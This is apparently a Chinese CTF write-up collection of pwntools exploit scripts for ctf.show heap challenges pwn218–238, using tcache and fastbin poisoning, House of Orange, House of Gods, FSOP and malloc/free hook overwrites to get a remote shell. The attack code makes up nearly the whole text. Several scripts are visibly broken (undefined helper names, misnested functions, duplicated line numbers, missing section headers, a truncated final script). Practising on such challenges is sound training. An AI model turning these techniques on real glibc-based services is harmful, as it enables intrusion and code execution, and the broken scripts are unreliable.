

# 堆利用++系列exp

## demo[pwn206-217 219-224 227 228]

1. pwn 206 - pwn 217
2. pwn 219 - pwn 224
3. pwn 227 pwn 228

此系列为demo环境，拿flag只需IDA简单看看如何拿shell即可，原理需自行对着一步步调试。

## pwn 218

```
1  from pwn import *
2  context.log_level = 'debug'
3  io = remote('pwn.challenge.ctf.show',28155)
4  elf = ELF('./pwn')
5  libc = ELF('/home/bit/libc/64bit/libc-2.27.so')
6  def add(data):
7      io.sendlineafter("Your choice:", '1')
8      io.sendafter("Input the content:", data)
9
10 def edit(index, data):
11     io.sendlineafter("Your choice:", '2')
12     io.sendlineafter("Input the idx:", str(index))
13     io.sendafter("Input the content:", data)
14
15 def delete(index, key):
16     io.sendlineafter("Your choice:", '3')
17     io.sendlineafter("Input the idx:", str(index))
18     io.sendlineafter("Clear?(y/n):", key)
19
20 def show(index):
21     io.sendlineafter("Your choice:", '4')
22     io.sendlineafter("Input the idx:", str(index))
23
24 add("a"*0x10)
25 payload = "b"*0x38+p64(0x11)
26 add(payload)
27 for i in range(5):
28     delete(1, 'n')
```

```

29  show(1)
30  io.recvuntil('Content:')
31  leak_addr = u64(io.recv(6).ljust(8, '\x00'))
32  heap_base = leak_addr - 0x2b0
33
34  dele(1, 'y')
35  dele(0, 'n')
36  dele(0, 'y')
37  payload = p64(heap_base+0x250-0x10)
38  add(payload)
39  add("c"*0x10)
40  dele(1, 'y')
41  add(p64(0)+p64(0x91))
42  for i in range(7):
43      dele(0, 'n')
44  dele(0, 'y')
45  edit(1, "l"*0x10)
46  show(1)
47  io.recvuntil('Content:')
48  io.recv(0x10)
49  leak_addr = u64(io.recv(6).ljust(8, '\x00'))
50  libc_base = leak_addr - 0x3ebca0
51
52  malloc_hook = libc_base + libc.sym["__malloc_hook"]
53  free_hook = libc_base + libc.sym["__free_hook"]
54  system = libc_base + libc.sym["system"]
55  edit(1, p64(0)+p64(0x51)+p64(free_hook-0x20))
56  payload = p64(free_hook-0x10)
57  add(payload)
58  dele(0, 'y')
59  payload = '/bin/sh\x00'*2+p64(system)
60  add(payload)
61  io.sendlineafter('choice:', '3')
62  io.sendlineafter('idx:', '0')
63
64  io.interactive()

```

## pwn 225

```

1  from pwn import *

2  context.log_level = 'debug'

3  elf = ELF("./pwn")

```

```
4  libc = ELF("./libc.so.6")

5  io = remote("pwn.challenge.ctf.show", 28128)
6  ref = 0
7  io.timeout = 0.1

8

9  def leak_libbase(io, puts):

10     io.recvuntil("libc_base: ")

11     return int(io.recvline(), 16)

12

13  def leak_heapbase(io):

14     io.recvuntil("heap_base: ")

15     leak = int(io.recvline(), 16)

16     io.recvuntil("> ")

17     return leak

18

19  def fakestream_init(io, libc, heapbase):

20     _dl_hook = allocate_chunk(io, 0x18)

21     fakestream = allocate_chunk(io, 0xd8)

22

23     fd = 0x0000000000000000

24     bk = heapbase + 0x20

25

26     layout = p64(0x0000000000000000) + p64(heapbase + 0x20 + 0x20)

27     layout += p64(0x0000000000000000) + p64(0xffffffffffffffff)
```

```

28     layout += p64(0x0000000000000000) + p64(0x0000000000000000) * 0x12

29     layout += p64(0x0000000000000000) + p64(libc.sym.system)

30     layout += p64(heapbase + 0xd8)

31

32     edit_chunk(io, _dl_hook, p64(fd) + p64(bk) + "/bin/sh\x00")

33     edit_chunk(io, fakestream, layout)

34

35     def fake_arena_init(io, libc, heapbase):

36         fake_arena = allocate_chunk(io, 0x878)
37         layout = p64(0x0000000000000000) + p64(0x0000000000000000) * 0xb
38         layout += p64(heapbase + 0x190) + p64(libc.sym._dl_open_hook - 0x18)
39         layout += p64(0x0000000000000000) + p64(0x0000000000000000) * 0xb
40         layout += p64(0x0000000000000000) + p64(heapbase + 0x368)
41         layout += p64(heapbase + 0x368) + p64(0x0000000000000000) * 0x7
42         layout += p64(0x0000000000000000) + p64(libc.sym._IO_list_all - 0x18)
43         layout += p64(0x0000000000000000) + p64(0x0000000000000000) * 0xe7
44         layout += p64(0xfffffffffffffffe)
45         edit_chunk(io, fake_arena, layout)
46
47     def house_of_gods(io, libc, heapbase):

48         _next = libc.sym['main_arena']

49         _next_free = 0x0000000000000000

50         _attached_threads = 0x0000000000000001

51         _system_mem = 0xffffffffffffffff

52         _max_system_mem = 0xffffffffffffffff

53         A = allocate_chunk(io, 0x88)
54         B = allocate_chunk(io, 0x38)
55         C = allocate_chunk(io, 0x18)
56         D = allocate_chunk(io, 0x98)
57         fakestream_init(io, libc, heapbase + 0x190)
58         fake_arena_init(io, libc, heapbase)
59         free_chunk(io, A)
60         bk = libc.sym.main_arena + 0x0858 - 0x8

```

```

61     edit_chunk(io, A, p64(0x0) + p64(bk))
62     bk = heapbase + 0x90 + 0x40 + 0x20
63     edit_chunk(io, B, p64(0x0) + p64(bk))
64     bk = libc.sym.main_arena + 0x4 - 0x5 - 0x10
65     edit_chunk(io, D, p64(0x0) + p64(bk))
66     free_chunk(io, B)
67     free_chunk(io, C)
68     payload = p64(0) + p64(_next)
69     payload += p64(_next_free) + p64(_attached_threads)
70     payload += p64(_system_mem) + p64(_max_system_mem)
71     E = allocate_chunk(io, 0x1f8)
72     edit_chunk(io, E, payload)
73     F = allocate_chunk(io, 0x98)
74     while True:
75         fake_arena = heapbase + 0x290
76         edit_chunk(io, E, p64(0x00) + p64(fake_arena))
77         UAF = allocate_chunk(io, 0x88)
78         leak = read_chunk(io, E)[8:16]
79         next = unpack(leak, 'all', endian = 'little')
80         if process_alive(next) == False:
81             break
82         XXX = allocate_chunk(io, 0x88)
83         free_chunk(io, UAF)
84         bk = next + 0x4 - 0x5 - 0x10
85         edit_chunk(io, UAF, p64(0x0) + p64(bk))
86         EXFIT = allocate_chunk(io, 0x88)
87         log.info("arena: " + hex(next))
88     io.interactive()
89
90     def process_alive(response):
91         heartbeat = 0x7f0000000000
92         return response & heartbeat == heartbeat
93
94     def allocate_chunk(io, size):
95         global ref
96         io.send("1\n")
97         io.recvline()
98         io.sendline("{}".format(size))
99         io.recvuntil("> ")
100        ref += 1
101        return ref - 1
102
103     def free_chunk(io, ref):
104         io.send("2\n")
105         io.recvline()
106         io.sendline("{}".format(ref))
107         io.recvuntil("> ")

```

```

108
109 def edit_chunk(io, ref, data):
110     io.send("3\n")
111     io.recvline()
112     io.sendline("{}".format(ref))
113     io.recvline()
114     io.send(data)
115     io.recvuntil("> ")
116
117 def read_chunk(io, ref):
118     io.send("4\n")
119     io.recvline()
120     io.sendline("{}".format(ref))
121     chunkdata = io.recvline()
122     return chunkdata
123
124 libc.address = leak_libbase(io, libc.sym.puts)
125 log.info("leaked libc_base: " + hex(libc.address))
126 heapbase = leak_heapbase(io)
127 log.info("leaked heap_base: " + hex(heapbase))
128 house_of_gods(io, libc, heapbase)
129
130 io.interactive()

```

## pwn 226

```

1  from pwn import *
2  context.clear(arch = 'amd64')
3  io = remote("pwn.challenge.ctf.show",28146)
4  elf = ELF("./pwn")
5  libc = ELF("./libc.so.6")
6  io.timeout = 0.1

7  ref = 0

8  def leak_libbase(io, puts):
9
10     io.recvuntil("puts: ")
11
12     return int(io.recvline(), 16) - puts

11 def leak_heapbase(io):
12
13     io.recvuntil("heapbase: ")

```

```
13     leak = int(io.recvline(), 16)

14     io.recvuntil("> ")

15     return leak

16 def allocate_chunk(io, size):

17     global ref

18     io.send("1\n")

19     io.recvline()

20     io.sendline("{}".format(size))

21     io.recvuntil("> ")

22     ref += 1

23     return ref - 1

24 def free_chunk(io, ref):

25     io.send("2\n")

26     io.recvline()

27     io.sendline("{}".format(ref))

28     io.recvuntil("> ")

29

30 def edit_chunk(io, ref, data):

31     io.send("3\n")

32     io.recvline()

33     io.sendline("{}".format(ref))

34     io.recvline()

35     io.send(data)

36     io.recvuntil("> ")
```

```
37

38 def read_chunk(io, ref):

39     io.send("4\n")

40     io.recvline()

41     io.sendline("{}".format(ref))

42     chunkdata = io.recvline()

43     io.recvuntil("> ")

44     return chunkdata

45 max_request = 0xffffffffffffbf

46 libc.address = leak_libbase(io, libc.sym.puts)

47 log.info("leaked libbase: " + hex(libc.address))

48 heapbase = leak_heapbase(io)
49 log.info("leaked heapbase: " + hex(heapbase))
50 FAKE_ARENA = allocate_chunk(io, 0x28)

51 layout = p64(0x0000000000000000) + p64(0x0000000000000000)
52 layout += p64(0x0000000000000000) + p64(0x0000000000000000)
53 layout += p64(libc.sym['__malloc_hook'] - 0x23)
54
55 edit_chunk(io, FAKE_ARENA, layout)
56 UAF = allocate_chunk(io, 0x88)
57 FC0 = allocate_chunk(io, 0x38)
58 FC1 = allocate_chunk(io, 0x18)
59 INTM = allocate_chunk(io, 0x98)
60 free_chunk(io, UAF)
61 bk = libc.sym['main_arena'] + 0x0850
62 edit_chunk(io, UAF, p64(0x0) + p64(bk))
63 bk = heapbase + 0x30 + 0x90 + 0x40 + 0x20
64 edit_chunk(io, FC0, p64(0x0) + p64(bk))
65 bk = libc.sym['narenas'] - 0x10
66 edit_chunk(io, INTM, p64(0x0) + p64(bk))
67 free_chunk(io, FC0)
68 free_chunk(io, FC1)
69 BMC = allocate_chunk(io, 0x1f8)
70
71 _next = heapbase
```



```

72  _next_free      = 0x0000000000000000
73  _attached_threads = 0x0000000000000001
74  _system_mem     = 0xffffffffffffffff
75  _max_system_mem = 0xffffffffffffffff
76
77  payload = p64(0) + p64(_next)
78  payload += p64(_next_free) + p64(_attached_threads)
79  payload += p64(_system_mem) + p64(_max_system_mem)
80  edit_chunk(io, BMC, payload)
81  INTM = allocate_chunk(io, 0x98)
82  allocate_chunk(io, max_request + 1)
83  allocate_chunk(io, max_request + 1)
84  HOOK = allocate_chunk(io, 0x68)
85  handler = libc.sym['system']
86  edit_chunk(io, HOOK, p8(0) * 0x13 + p64(handler))
87  allocate_chunk(io, next(libc.search("/bin/sh")))
88
89  io.interactive()

```

## pwn 229

```

1  from pwn import*
2  context(arch='amd64',os='linux',log_level='debug')
3  io = remote('pwn.challenge.ctf.show',28304)
4  elf = ELF("./pwn")
5  shellcode = asm(shellcraft.sh())
6  io.sendafter("who are u?",shellcode)
7  io.recvuntil(shellcode)
8  stack = u64(io.recvuntil(",")[:-1].ljust(8,"\x00"))
9  print "stack add=" + hex(stack)
10 fake_chunk = stack - 0xb0
11 name = stack - 0x50
12 io.sendlineafter("id ~~?", "97")
13 payload = "\x00"*8 + p64(0x61) + "\x00"*0x28 + p64(fake_chunk)
14 io.sendafter("money~",payload);
15 io.sendlineafter("choice :", "2")
16 io.sendlineafter("choice :", "1")
17 io.sendlineafter("long?", "80")
18 payload = "\x00"*0x38 + p64(name)
19 io.sendlineafter("money :",payload);
20 io.sendlineafter("choice :", "3")
21
22 io.interactive()

```

## pwn 230

```
1  from pwn import *
2  context.log_level = 'debug'
3  io = remote("pwn.challenge.ctf.show",28288)
4  libc = ELF('./libc.so.6')

5  main_arena_offset = 0x3c4b20
6  def add(size, content):

7      io.recvuntil('(CMD)>>> ')

8      io.sendline('a')

9      io.recvuntil('(SIZE)>>> ')

10     io.sendline(str(size))

11     io.recvuntil('(CONTENT)>>> ')

12     io.sendline(content)

13
14  def edit(idx, content):

15     io.recvuntil('(CMD)>>> ')

16     io.sendline('e')

17     io.recvuntil('(INDEX)>>> ')

18     io.sendline(str(idx))

19     io.recvuntil('(CONTENT)>>> ')

20     io.sendline(content)

21     io.recvuntil('Is it OK?\n')

22     io.sendline('Y')

23
24  def delete(idx):

25     io.recvuntil('(CMD)>>> ')
```

```
26     io.sendline('d')

27     io.recvuntil('(INDEX)>>> ')

28     io.sendline(str(idx))

29
30     add(0x70, 'a' * 8)

31     add(0x70, 'b' * 8)
32     add(0x100, 'c' * 8)
33
34     delete(2)
35     delete(1)
36     io.recvuntil(' # CONTENT: ')
37     data = io.recvuntil('\n', drop=True)
38     heap_base = u64(data.ljust(8, '\x00')) - 0x80

39     log.success('heap base: ' + hex(heap_base))

40
41     delete(3)

42     io.recvuntil(' # CONTENT: ')

43     data = io.recvuntil('\n', drop=True)

44     unsorted_offset_arena = 8 + 10 * 8

45     main_arena = u64(data.ljust(8, '\x00')) - unsorted_offset_arena

46     libc_base = main_arena - main_arena_offset

47     log.success('main arena addr: ' + hex(main_arena))
48     log.success('libc base addr: ' + hex(libc_base))
49
50     add(0x18, 'a' * 0x18)
51
52     add(0x100, 'b' * 0xf8 + '\x11')
53     add(0x100, 'c' * 0xf8)
54     add(0x100, 'd' * 0xf8)
55
56     tinypad_addr = 0x602040
57     fakechunk_addr = tinypad_addr + 0x20
58     fakechunk_size = 0x101
59     fakechunk = p64(0) + p64(fakechunk_size) + p64(fakechunk_addr) + p64(
60         fakechunk_addr)
```

```

61 edit(3, 'd' * 0x20 + fakechunk)
62 diff = heap_base + 0x20 - fakechunk_addr
63
64 diff_strip = p64(diff).strip('\0')
65 number_of_zeros = len(p64(diff)) - len(diff_strip)
66 for i in range(number_of_zeros + 1):
67     data = diff_strip.rjust(0x18 - i, 'f')
68     edit(1, data)
69 delete(2)
70 io.recvuntil('\nDeleted.')
71
72 edit(4, 'd' * 0x20 + p64(0) + p64(0x101) + p64(main_arena + 88) +
73     p64(main_arena + 88))
74
75 one_gadget_addr = libc_base + 0x45216
76 environ_pointer = libc_base + libc.symbols['__environ']
77 log.info('one gadget addr: ' + hex(one_gadget_addr))
78 log.info('environ pointer addr: ' + hex(environ_pointer))
79
80 fake_pad = 'f' * (0x100 - 0x20 - 0x10) + 'a' * 8 + p64(
81     environ_pointer) + 'a' * 8 + p64(0x602148)
82
83 add(0x100 - 8, fake_pad)
84
85 io.recvuntil(' # CONTENT: ')
86 environ_addr = io.recvuntil('\n', drop=True).ljust(8, '\x00')
87 environ_addr = u64(environ_addr)
88 main_ret_addr = environ_addr - 30 * 8
89
90 edit(2, p64(main_ret_addr))
91 edit(1, p64(one_gadget_addr))
92
93 io.interactive()

```

## pwn 231

```

1 from pwn import *
2 context(arch = 'amd64', os = 'linux', log_level = 'debug')
3 io = remote("pwn.challenge.ctf.show", 28111)
4 elf = ELF("./pwn")
5 libc = ELF('/home/bit/libc/64bit/libc-2.23.so')
6
7 def add(size, content):
8     io.recvuntil("2:puts\n")
9     io.sendline('1')

```

```

10         io.recvuntil("size\n")
11         io.sendline(str(size))
12         io.recvuntil("bin addr ")
13         addr = int(io.recvuntil('\n').strip(), 16)
14         io.recvuntil("content\n")
15         io.send(content)
16         return addr
17     def show(index):
18         io.recvuntil("2:puts\n")
19         io.sendline('2')
20
21     libc.address = add(0x200000, 'chunk0\n') + 0x200ff0
22     success('libc_base'+hex(libc.address))
23
24     heap_addr = add(0x18, 'a'*0x10+p64(0)+p64(0xFFFFFFFFFFFFFFFF))
25     success("heap_addr:"+hex(heap_addr))
26
27     top = heap_addr + 0x10
28
29     malloc_hook = libc.sym['__malloc_hook']
30     success("malloc_hook"+hex(malloc_hook))
31     one_gadget = libc.address + 0x4526a
32     realloc = libc.sym["__libc_realloc"]
33     offset = malloc_hook - top
34     system = libc.sym['system']
35     bin_sh = libc.search('/bin/sh').next()
36
37     add(offset-0x30, 'aaa\n')
38     add(0x10, 'a'*8+p64(one_gadget)+p64(realloc+0x10))
39
40     io.recvuntil("2:puts\n")
41     io.sendline('1')
42     io.recvuntil("size\n")
43     io.sendline(str(20))
44
45     io.interactive()

```

## pwn 232

```

1     from pwn import *
2     context.log_level = 'debug'
3     io = remote("pwn.challenge.ctf.show",28165)
4     elf = ELF('./pwn')
5     libc = ELF('./libc-2.23.so')
6     puts_plt = elf.plt['puts']

```

```

7 puts_got = elf.got['puts']
8 free_got = elf.got['free']
9 heap_array_addr = 0x0804B120
10
11
12 def add(size,content):
13     io.sendlineafter('option--->>', '1')
14     io.sendlineafter('Input the length of the note content:', str(size))
15     io.sendafter('Input the content:', content)
16
17 def edit(index,content):
18     io.sendlineafter('option--->>', '3')
19     io.sendlineafter('Input the id:', str(index))
20     io.sendafter('Input the new content:', content)
21
22 def delete(index):
23     io.sendlineafter('option--->>', '4')
24     io.sendlineafter('Input the id:', str(index))
25
26 io.sendafter('Input your name:', 'a'*0x40)
27 io.recvuntil('a'*0x40)
28 heap_addr = u32(io.recv(4))
29 print 'heap_addr=', hex(heap_addr)
30 io.sendafter('Org:', 'a'*0x40)
31 io.sendlineafter('Host:', p32(0xFFFFFFFF))
32 top_chunk_addr = heap_addr + 0xD0
33 offset = heap_array_addr - top_chunk_addr - 0x10
34 print 'top_chunk_addr=', hex(top_chunk_addr)
35 add(offset, '')
36 add(0x18, '\n')
37 edit(1, p32(0) + p32(free_got) + p32(puts_got) + p32(0x0804B130) +
38     '/bin/sh\x00')
39 edit(1, p32(puts_plt) + '\n')
40 delete(2)
41 io.recv(1)
42 puts_addr = u32(io.recv(4))
43 libc_base = puts_addr - libc.sym['puts']
44 system_addr = libc_base + libc.sym['system']
45 print 'libc_base=', hex(libc_base)
46 print 'system_addr=', hex(system_addr)
47 edit(1, p32(system_addr) + '\n')
48 delete(3)
49 io.interactive()

```

```

1  from pwn import *

2  io = remote("pwn.challenge.ctf.show",28166)
3  context.log_level = 'debug'
4  elf = ELF("./pwn")
5  libc = ELF('./libc-2.23.so')
6
7  def add(size, content, price, color):
8      io.recvuntil("Your choice : ")
9      io.sendline('1')
10     io.recvuntil("Length of name :")
11     io.sendline(str(size))
12     io.recvuntil("Name :")
13     io.send(content)
14     io.recvuntil("Price of Orange:")
15     io.sendline(str(price))
16     io.recvuntil("Color of Orange:")
17     io.sendline(str(color))
18
19  def show():
20     io.recvuntil("Your choice : ")
21     io.sendline('2')
22
23  def edit(size, content, price, color):
24     io.recvuntil("Your choice : ")
25     io.sendline('3')
26     io.recvuntil("Length of name :")
27     io.sendline(str(size))
28     io.recvuntil("Name:")
29     io.send(content)
30     io.recvuntil("Price of Orange:")
31     io.sendline(str(price))
32     io.recvuntil("Color of Orange:")
33     io.sendline(str(color))
34
35  add(0x30, 'aaaa\n', 0x1234, 0xddaa)
36  payload = 'a' * 0x30 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2
37     + p64(0xf81)
38
39  edit(len(payload), payload, 666, 0xddaa)
40
41  add(0x1000, 'a\n', 0x1234, 0xddaa)
42  add(0x400, 'a' * 8, 199, 2)
43  show()
44  io.recvuntil('a'*8)
45  malloc_hook = u64(io.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10

```

```

44  libc.address = malloc_hook - libc.symbols['_malloc_hook']
45  io_list_all = libc.symbols['_IO_list_all']
46  system = libc.symbols['system']
47
48  payload = 'b' * 0x10
49  edit(0x10, payload, 199, 2)
50  show()
51  io.recvuntil('b'*0x10)
52  heap = u64(io.recvuntil('\n').strip().ljust(8, '\x00'))
53  heap_base = heap - 0xE0
54
55  payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
56  fake_file = '/bin/sh\x00'+p64(0x61)
57  fake_file += p64(0)+p64(io_list_all-0x10)
58  fake_file += p64(0) + p64(1)
59  fake_file = fake_file.ljust(0xc0, '\x00')
60  fake_file += p64(0) * 3
61  fake_file += p64(heap_base+0x5E8)
62  fake_file += p64(0) * 2
63  fake_file += p64(system)
64  payload += fake_file
65  edit(len(payload), payload, 666, 2)
66  io.recvuntil("Your choice : ")
67  io.sendline('1')
68
69  io.interactive()

```

## pwn 234

```

1  from pwn import *
2  context.log_level = 'debug'
3  io = remote("pwn.challenge.ctf.show",28287)
4  elf=ELF('./pwn')
5  def add(type,content):
6      io.sendline('1')
7      io.sendline(str(type))
8      io.send(content)
9      time.sleep(1)
10 def free(index):
11     io.sendline('2')
12     io.sendline(str(index))
13
14 def edit(index,content1,content2):
15     io.sendline('3')
16     io.sendline(str(index))

```



```

17         io.send(content1)
18         io.send(content2)
19         time.sleep(1)
20
21     bss_list = 0x06020C0
22     bss_edit = 0x602120
23     add(3, 'aaaa')
24     free(0)
25     add(3, 'bbbb')
26     free(1)
27     add(1, 'cccc')
28     add(2, 'dddd')
29     free(2)
30     edit(2, p64(bss_edit+0x10)
31          [:-1], p64(0)+p64(0x11)+p64(0)+p64(0xfffffffffffffffff1)+'\0'*15)
32     free(3)
33     edit(2, p64(0)[:-1], p64(0)+p64(0x11)+p64(0)+p64(0xA00001))
34     add(3, 'eeee')
35     edit(2, p64(bss_edit+0x10)
36          [:-1], p64(0xfffffffffffffffff0)+p64(0x10)+p64(0)+p64(0xfffffffffffffffff1))
37     add(0x3419, 'ffff')
38     add(1, p64(elf.got['free'])[:-1])
39
40
41     edit(0, p64(elf.symbols['system'])[:-1], '/bin/sh\0')
42     edit(6, '/bin/sh', '/bin/sh\0')
43
44
45     free(6)
46
47
48     io.interactive()

```

## pwn 235

```

1  from pwn import *
2  libc = ELF("/home/bit/libc/64bit/libc-2.23.so")
3  gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
4  def add(idx, size, data="a"):
5      io.sendlineafter(">> ", "1")
6      io.sendlineafter("Index :", str(idx))
7      io.sendlineafter("size: ", str(size))
8      io.sendafter("Content:", data)
9
10 def edit(idx, size, data="a"):
11     io.sendlineafter(">> ", "2")
12     io.sendlineafter("Index :", str(idx))
13     io.sendlineafter("size: ", str(size))

```

```

14     io.sendafter("content: ", data)
15 def free(idx):
16     io.sendlineafter(">> ", "3")
17     io.sendlineafter("Index :", str(idx))
18
19 def attack():
20     add(0, 0x10)
21     add(1, 0x10)
22     add(2, 0x60)
23     add(3, 0x10)
24
25     free(2)
26     edit(0, 0x20, "a" * 0x18 + p64(0x91))
27     free(1)
28     add(1, 0x10)
29     num = "0x55"
30     edit(1, 0x30, "a" * 0x18 + p64(0x71) + p8(0xdd) + p8(int16(num)))
31     add(2, 0x60)
32     layout = [0x33 * "\x00", 0xfbad1800, 0, 0, 0, "\x58"]
33     add(3, 0x60, flat(layout))
34     leak_libc_addr = u64(io.recv(8))
35     libc_base = leak_libc - 0x3c56a3
36     libc.address = libc_base
37     free(2)
38     edit(1, 0x30, "a" * 0x18 + p64(0x71) + p64(libc.sym["__malloc_hook"] -
0x23))
39     add(2, 0x60)
40     one_gadget = libc.offset_to_vaddr(gadgets[3])
41     payload = b"a" * 0x13 + p64(one_gadget)
42     add(4, 0x60, payload)
43     io.sendlineafter(">> ", "1")
44     io.sendlineafter("Index :", str(5))
45     io.sendlineafter("size: ", str(0x10))
46     io.interactive()
47
48 if __name__ == '__main__':
49     while True:
50         try:
51             io = remote("pwn.challenge.ctf.show", 28135)
52             attack()
53             break
54         except:
55             io.close()

```

```
1  from pwn import*
2  context.log_level = 'debug'
3  io = remote("pwn.challenge.ctf.show",28292)
4  libc = ELF('./libc-2.23.so')
5  def add(size,idx):
6      io.sendlineafter('Free',"1")
7      io.sendlineafter('Enter size of chunk :',str(size))
8      io.sendlineafter('Enter index :',str(idx))
9
10 def free(idx):
11     io.sendlineafter('Free',"3")
12     io.sendlineafter('Enter index :',str(idx))
13
14 def edit(idx,data):
15     io.sendlineafter('Free',"2")
16     io.sendlineafter('Enter index of chunk :',str(idx))
17     io.sendafter('Enter data :',data)
18 io.sendlineafter('Enter name :','bit')
19 add(0x18,0)
20 add(0xC8,1)
21 add(0x68,2)
22 edit(1,'\x00'*0x68 + p64(0x61))
23 free(1)
24 add(0xC8,1)
25 add(0x68,3)
26 add(0x68,4)
27 add(0x68,5)
28 edit(0,'\x00'*0x18 + '\x71')
29 free(2)
30 free(3)
31 edit(3,'\x20')
32 edit(1,'\xDD\x25')
33 add(0x68,9)
34 add(0x68,9)
35 payload = '\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x88'
36 add(0x68,9)
37 edit(9,payload)
38 libc_base = u64(io.recvuntil('\x7f').ljust(8,'\x00')) -
    libc.symbols['_IO_2_1_stdin_']
39 libc.address = libc_base
40
41 free(4)
42 edit(4,p64(0))
43 add(0x68,0)
44 free(0)
45 edit(0,p64(libc.symbols['__malloc_hook'] - 0x23))
46 add(0x68,0)
```

```
47 add(0x68,0)
48 io.sendlineafter('Free','2')
49 io.sendlineafter('Enter index of chunk :','0')
50 io.send('\x00'*0x13+p64(libc_base+0xf02a4))
51 free(1)
52 free(1)
53
54 io.interactive()
```

## pwn 237

```
1  from pwn import *
2  context.log_level = 'debug'
3  io = remote("pwn.challenge.ctf.show",28247)
4  elf = ELF('./pwn')
5  libc = ELF('./libc-2.31.so')
6  password = [b'AY7Hr0', b'BRgTa2', b'CnY841']
7  current_user = 0
8
9  def add(content_length, content = None):
10     io.sendlineafter(b'Choice: ', b'1')
11     io.sendlineafter(b'message size: ', str(content_length).encode())
12     if content is None:
13         content = str(current_user) * (content_length // 0x30 * 0x10)
14     io.sendafter(b'message: ', content)
15
16  def view(index):
17     io.sendlineafter(b'Choice: ', b'2')
18     io.sendlineafter(b'index: ', str(index).encode())
19
20  def edit(index, content):
21     io.sendlineafter(b'Choice: ', b'3')
22     io.sendlineafter(b'index: ', str(index).encode())
23     io.sendafter(b'message: ', content)
24
25  def delete(index):
26     io.sendlineafter(b'Choice: ', b'4')
27     io.sendlineafter(b'index: ', str(index).encode())
28
29  def change_role(role):
30     global current_user
31     io.sendlineafter(b'Choice: ', b'5')
32     io.sendlineafter(b'user:\n', password[role])
33     current_user = role
34
```

```
35 change_role(1)
36 for i in range(5):
37     add(0xA0)
38     delete(i)
39 change_role(0)
40 add(0x150)
41 for i in range(7):
42     add(0x150)
43     delete(i + 1)
44 delete(0)
45 change_role(1)
46 add(0xA0)
47 change_role(0)
48 add(0x160)
49 for i in range(7):
50     add(0x160)
51     delete(i + 9)
52 delete(8)
53 change_role(1)
54 change_role(0)
55 view(8)
56 io.recv(0x10)
57 libc_base = u64(io.recv(6) + b'\x00\x00') - 0x1ECBE0
58 system = libc_base + libc.symbols['system']
59 __free_hook = libc_base + libc.symbols['__free_hook']
60 _IO_list_all = libc_base + libc.symbols['_IO_list_all']
61 change_role(1)
62 add(0xB0)
63
64 change_role(0)
65 change_role(1)
66 view(1)
67 io.recv(0x10)
68 heap_address = u64(io.recv(6) + b'\x00\x00')
69
70 change_role(1)
71 add(0x440)
72 change_role(0)
73 add(0x430)
74 add(0x430)
75 add(0x430)
76 add(0x430)
77 change_role(1)
78 delete(7)
79 add(0x450)
80 change_role(0)
81 delete(17)
```

```
82  change_role(1)
83  change_role(0)
84  change_role(1)
85  edit(7, (p64(__free_hook - 0x18 - 0x18) * 2) + b'A' * (0x440 // 0x30 * 0x10 -
0x10))
86  change_role(2)
87  add(0xF0)
88
89  change_role(1)
90  change_role(0)
91  delete(19)
92  change_role(1)
93  edit(7, (p64(_IO_list_all - 0x20) * 2) + b'A' * (0x440 // 0x30 * 0x10 - 0x10))
94  change_role(2)
95  add(0xF0)
96
97  change_role(0)
98  edit(8, b'0' * 0x40 + p64(heap_address + 0x410) + p64(__free_hook - 0x28) +
b'\n')
99  change_role(2)
100 add(0x230)
101 change_role(2)
102 add(0x430)
103 change_role(1)
104 edit(7, p64(heap_address + 0x19E0) * 2 + b'\n')
105 change_role(2)
106 add(0xA0)
107
108 fake_IO_FILE_complete = p64(0) * 2
109 fake_IO_FILE_complete += p64(1)
110 fake_IO_FILE_complete += p64(0xFFFF_FFFF_FFFF)
111 fake_IO_FILE_complete += p64(0)
112 fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0)
113 fake_IO_FILE_complete += p64(heap_address + 0x19E0 + 0xD0 + 30)
114 fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xB0, b'\x00')
115 fake_IO_FILE_complete += p64(0)
116 fake_IO_FILE_complete = fake_IO_FILE_complete.ljust(0xC0, b'\x00')
117 fake_IO_FILE_complete += b'/bin/sh\x00'
118 fake_IO_FILE_complete += p64(libc_base + 0x1E9560)
119 payload = fake_IO_FILE_complete + b'/bin/sh\x00' + 2 * p64(system)
120 io.sendafter(b'Gift:', payload)
121
122 io.sendlineafter(b'Choice: ', b'5')
123 io.sendlineafter(b'user:\n', b'')
124
125 io.interactive()
```

## pwn 238

```
1  from pwn import *
2  context.log_level='debug'

3  io = remote("pwn.challenge.ctf.show",28176)
4  libc = ELF('./libc-2.31.so')

5  def choice(num):
6      io.sendlineafter("choice:",str(num))
7
8  def add(idx,size):
9      choice(1)
10     io.sendlineafter('Idx:',str(idx))
11     io.sendlineafter('Size:',str(size))
12
13  def show(idx):
14     choice(2)
15     io.sendlineafter('Idx:',str(idx))
16
17  def edit(idx,con):
18     choice(3)
19     io.sendlineafter('Idx:',str(idx))
20     io.sendafter("context: ",con)
21
22  def delet(idx):
23     choice(4)
24     io.sendlineafter('Idx:',str(idx))
25
26  add(0,0x90)
27  add(1,0x490)
28  add(2,0x90)
29  delet(1)
30  show(1)
31  io.recvuntil('context: ')
32  libc_base = u64(io.recv(6).ljust(8,'\x00'))-0xbe0-0x1ec000
33  free_hook = libc_base + libc.sym['__free_hook']
34  IO_list_all = libc_base + libc.sym['_IO_list_all']
35  IO_str_jumps = libc_base + 0x1e9560
36  system = libc_base + libc.sym['system']
37  delet(0)
38  edit(0,'deadbeef')
39  show(0)
```

```
40 io.recvuntil('deadbeef')
41 heap=u64(io.recv(6).ljust(8,'\x00'))-0x10
42
43 add(1,0x490)
44 add(0,0x450)
45 add(1,0x90)
46 add(2,0x430)
47 delet(0)
48 add(1,0x460)
49 delet(2)
50 edit(0,p64(libc_base + 0x1ecfe0)*2+p64(heap + 0x870)+p64(free_hook - 0x28))
51 add(4,0x490)
52
53 edit(0,p64(heap + 0xd70)+p64(libc_base + 0x1ecfe0)+p64(heap + 0xd70)*2)
54 edit(2,p64(libc_base + 0x1ecfe0)+p64(heap + 0x870)*3)
55 add(0,0x450)
56 add(0,0x430)
57
58 add(1,0x490)
59 add(3,0x450)
60 add(1,0x90)
61 add(2,0x430)
62 delet(3)
63 add(1,0x460)
64 delet(2)
